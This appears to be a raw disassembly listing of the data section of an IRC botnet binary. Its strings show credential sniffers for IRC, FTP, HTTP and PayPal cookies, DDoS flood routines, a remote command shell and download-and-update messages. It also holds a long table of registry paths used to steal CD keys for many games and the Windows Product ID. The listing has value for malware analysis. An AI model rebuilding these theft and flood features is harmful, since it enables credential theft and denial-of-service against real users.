a_login_0	db ':.login',0          ; DATA XREF: .nsp0:004129E6o
a366		db '366 ',0             ; DATA XREF: .nsp0:004129D5o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: .nsp0:loc_4129C4o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: .nsp0:004129AFo
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: .nsp0:0041299Eo
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: .nsp0:0041298Do
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: .nsp0:00412967o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412A79+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412A79+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412A79:loc_412AB9o
					; sub_412AEF+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412A79+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412A79+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_412AEF+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_412AEF+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_412AEF:loc_412B40o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_412AEF+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_412AEF+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412B76+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412B76+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412B76+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412B76:loc_412BB6o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412B76+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412B76+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_412BFD+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_412BFD:loc_412C3Do
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_412BFD+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_412BFD+5o
		align 4
unk_43DC4C	db  2Dh	; -		; DATA XREF: .nsp0:0041304Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43DC84	db  2Dh	; -		; DATA XREF: .nsp0:00412FE4o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_43DCBC	db  2Dh	; -		; DATA XREF: .nsp0:00412FB3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DCF0	db  2Dh	; -		; DATA XREF: .nsp0:00412F7Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43DD58	db  2Dh	; -		; DATA XREF: .nsp0:00412DADo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFail_0	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_43DD88	db  2Dh	; -		; DATA XREF: .nsp0:00412D27o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRe_0	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_43DDDC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_413107+302o
		dd 203A726Fh, 6425h
dword_43DDF8	dd 736F6464h, 6E61722Eh, 6D6F64hdword_43DE04	dd 736F6464h, 6B63612Eh, 0dword_43DE10	dd 736F6464h, 6E79732Eh, 0		dd 234032Dh, 706D6369h,	202D0302h, 656E6F64h, 74697720h
		dd 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh, 6573202Eh
		dd 2520746Eh, 61702064h, 74656B63h, 20402073h, 424B6425h
		dd 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		dd 234032Dh, 26E7973h, 44202D03h, 20656E6Fh, 68746977h
		dd 6F6C6620h, 2820646Fh, 424B6925h, 6365732Fh, 2E29h, 234032Dh
		dd 26E7973h, 53202D03h,	20646E65h, 6F727265h, 3C203A72h
		dd 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	6E7973h, 234032Dh, 2706374h, 49202D03h,	6C61766Eh
		dd 74206469h, 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h
		dd 45202D03h, 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh
		dd 66202928h, 656C6961h, 72202C64h, 72757465h, 3A64656Eh
		dd 64253C20h, 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6F73203Ah, 74656B63h, 66202928h, 656C6961h, 72202C64h
		dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h
		dd 2696D61h, 44202D03h,	20656E6Fh, 68746977h, 6F6C6620h
		dd 202C646Fh, 70206425h, 656B6361h, 73207374h, 2E746E65h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0            ; DATA XREF: .nsp0:0041542Co
		align 4
dword_43E41C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43E430	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A6+60o
		align 4
dword_43E468	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415846:loc_41587Bo
dword_43E47C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415846+20o
dword_43E490	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: .nsp0:00415963o
		dd 6574656Ch, 0
dword_43E4AC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: .nsp0:004158C6o
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: .nsp0:004159C7o
aWindow		db 'Window',0           ; DATA XREF: sub_415BF1+23o
					; sub_415DEA+26o
		align 4
		dd 80000001h
off_43E4DC	dd offset aSoftwareValveC ; DATA XREF: sub_416029+Cr
					; sub_416029+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_43E4E8	dd 2 dup(0)			dd 80000001h, 43F66Ch, 43F660h,	43F650h, 2 dup(0)
		dd 80000001h, 43F630h, 43F62Ch,	43F618h, 2 dup(0)
		dd 80000001h, 43F5F4h, 43F62Ch,	43F5E8h, 2 dup(0)
		dd 80000001h, 43F5C4h, 43F5BCh,	43F5A8h, 2 dup(0)
		dd 80000001h, 43F594h, 43F584h,	43F568h, 2 dup(0)
		dd 80000001h, 43F524h, 43F6ACh,	43F510h, 2 dup(0)
		dd 80000002h, 43F4E4h, 43F4D8h,	43F4B8h, 2 dup(0)
		dd 80000002h, 43F484h, 43F6ACh,	43F46Ch, 2 dup(0)
		dd 80000002h, 43F438h, 43F6ACh,	43F420h, 2 dup(0)
		dd 80000002h, 43F408h, 43F6ACh,	43F3F0h, 2 dup(0)
		dd 80000002h, 43F3B4h, 443398h,	43F3A4h, 2 dup(0)
		dd 80000002h, 43F36Ch, 443398h,	43F358h, 2 dup(0)
		dd 80000002h, 43F30Ch, 443398h,	43F2ECh, 2 dup(0)
		dd 80000002h, 43F29Ch, 443398h,	43F270h, 2 dup(0)
		dd 80000002h, 43F234h, 443398h,	43F220h, 2 dup(0)
		dd 80000002h, 43F1E8h, 443398h,	43F1D8h, 2 dup(0)
		dd 80000002h, 43F188h, 443398h,	43F15Ch, 2 dup(0)
		dd 80000002h, 43F11Ch, 443398h,	43F100h, 2 dup(0)
		dd 80000002h, 43F0D0h, 443398h,	43F0B0h, 2 dup(0)
		dd 80000002h, 43F074h, 443398h,	43F060h, 2 dup(0)
		dd 80000002h, 43F018h, 443398h,	43EFF8h, 2 dup(0)
		dd 80000002h, 43EFA4h, 443398h,	43EF74h, 2 dup(0)
		dd 80000002h, 43EF24h, 443398h,	43EEF8h, 2 dup(0)
		dd 80000002h, 43EEB8h, 43EEB0h,	43EE90h, 2 dup(0)
		dd 80000002h, 43EE4Ch, 443398h,	43EE30h, 2 dup(0)
		dd 80000002h, 43EDE4h, 443398h,	43EDC0h, 2 dup(0)
		dd 80000002h, 43ED8Ch, 443398h,	43ED80h, 2 dup(0)
		dd 80000002h, 43ED4Ch, 443398h,	43ED40h, 2 dup(0)
		dd 80000002h, 43ED0Ch, 443398h,	43ED00h, 2 dup(0)
		dd 80000002h, 43ECCCh, 443398h,	43ECC0h, 2 dup(0)
		dd 80000002h, 43EC84h, 443398h,	43EC70h, 2 dup(0)
		dd 80000002h, 43EC34h, 443398h,	43EC20h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43EBF0[eax], al
		lodsb
		test	byte ptr [ebx+0], 0D4h
		jmp	short loc_43E842
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_43EBB4[eax], al
		lodsb
		jmp	short loc_43E856
; ---------------------------------------------------------------------------
		align 4
		dd offset aCommandAndConq ; "Command and Conquer: Tiberian Sun"
		align 10h
		add	al, [eax]
		add	byte_43EB6C[eax], al
		lodsb
		jmp	short loc_43E86E
; ---------------------------------------------------------------------------
		align 4
		dd offset aCommandAndCo_0 ; "Command and Conquer: Red Alert"
		dd 2 dup(0)
		dd 80000002h, 43EB2Ch
		db 0ACh, 0EBh
; ---------------------------------------------------------------------------


loc_43E842:				; CODE XREF: .nsp0:0043E7FDj
		inc	ebx
		add	[eax], cl
		jmp	short loc_43E88A
; ---------------------------------------------------------------------------
		align 10h
		dd 80000002h
		db 0F0h, 0EAh
; ---------------------------------------------------------------------------


loc_43E856:				; CODE XREF: .nsp0:0043E811j
		inc	ebx
		add	[ebx+ebp*8-1513FFBDh], ch
		inc	ebx
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
		dd 80000002h
; ---------------------------------------------------------------------------
		shr	dl, 1


loc_43E86E:				; CODE XREF: .nsp0:0043E829j
		inc	ebx
		add	al, al
		jmp	far ptr	43h:0EAB80043h
; ---------------------------------------------------------------------------
		align 10h
		add	al, [eax]
		add	byte_43EA84[eax], al
		test	al, ah


loc_43E88A:				; CODE XREF: .nsp0:0043E845j
		inc	edx
		add	[edx+ebp*8+43h], ch
; ---------------------------------------------------------------------------
		db 0
		dd 2 dup(0)
		dd 80000002h, 43EA30h, 43EA24h,	43E9FCh, 43E9ECh, 43E9D8h
		dd 80000002h, 43E9B4h, 43E9A8h,	43E994h, 43E984h, 43E97Ch
		dd 80000002h, 43E9B4h, 43E9A8h,	43E950h, 43E984h, 43E948h
		dd 80000002h, 43E9B4h, 43E9A8h,	43E918h, 43E984h, 43E910h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
byte_43EA84	db 53h			; DATA XREF: .nsp0:0043E882w
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0 ; DATA XREF: .nsp0:0043E82Co
		align 4
byte_43EB6C	db 53h			; DATA XREF: .nsp0:0043E822w
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndConq	db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .nsp0:0043E814o
		align 4
aSerial_0	db 'Serial',0
		align 4
byte_43EBB4	db 53h			; DATA XREF: .nsp0:0043E80Aw
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
byte_43EBF0	db 53h			; DATA XREF: .nsp0:0043E7F2w
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0043E4E4o
aCdkey		db 'CDKey',0            ; DATA XREF: .nsp0:0043E4E0o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_43E4DCo
		align 4
asc_43F6DC:				; DATA XREF: sub_416029+E9o
					; sub_416029+F4o
		unicode	0, <=>,0
dword_43F6E0	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_416029+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43F75C	db  2Dh	; -		; DATA XREF: .nsp0:00416522o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_43F780	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: .nsp0:00416787o
					; .nsp0:0041691Do
		dd 726F72h
unk_43F798	db  2Dh	; -		; DATA XREF: .nsp0:0041671Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43F7C4	db  2Dh	; -		; DATA XREF: .nsp0:00416627o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_43F7E8	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: .nsp0:004165F0o
		dd 74756Fh
dword_43F800	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: .nsp0:0041658Fo
		dd 169h
unk_43F818	db  2Dh	; -		; DATA XREF: .nsp0:0041654Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_43F838	db  2Dh	; -		; DATA XREF: .nsp0:004164A7o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43F85C	db  2Dh	; -		; DATA XREF: .nsp0:00416469o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_43F880	db  2Dh	; -		; DATA XREF: .nsp0:00416996o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43F8AC	db  2Dh	; -		; DATA XREF: .nsp0:00416892o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43F8CC	db  2Dh	; -		; DATA XREF: .nsp0:00416872o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: .nsp0:0041685Eo
unk_43F8FC	db  2Dh	; -		; DATA XREF: .nsp0:0041684Ao
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43F92C	db  2Dh	; -		; DATA XREF: .nsp0:00416E95o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43F958	db  2Dh	; -		; DATA XREF: .nsp0:00416E87o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43F98C	db  2Dh	; -		; DATA XREF: .nsp0:00416DCBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_43F9D0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: .nsp0:00416D5Ao
		dd 25206465h, 73h
unk_43F9EC	db  2Dh	; -		; DATA XREF: .nsp0:00416CE3o
		db 3, 34h, 2
		db  64h	; d
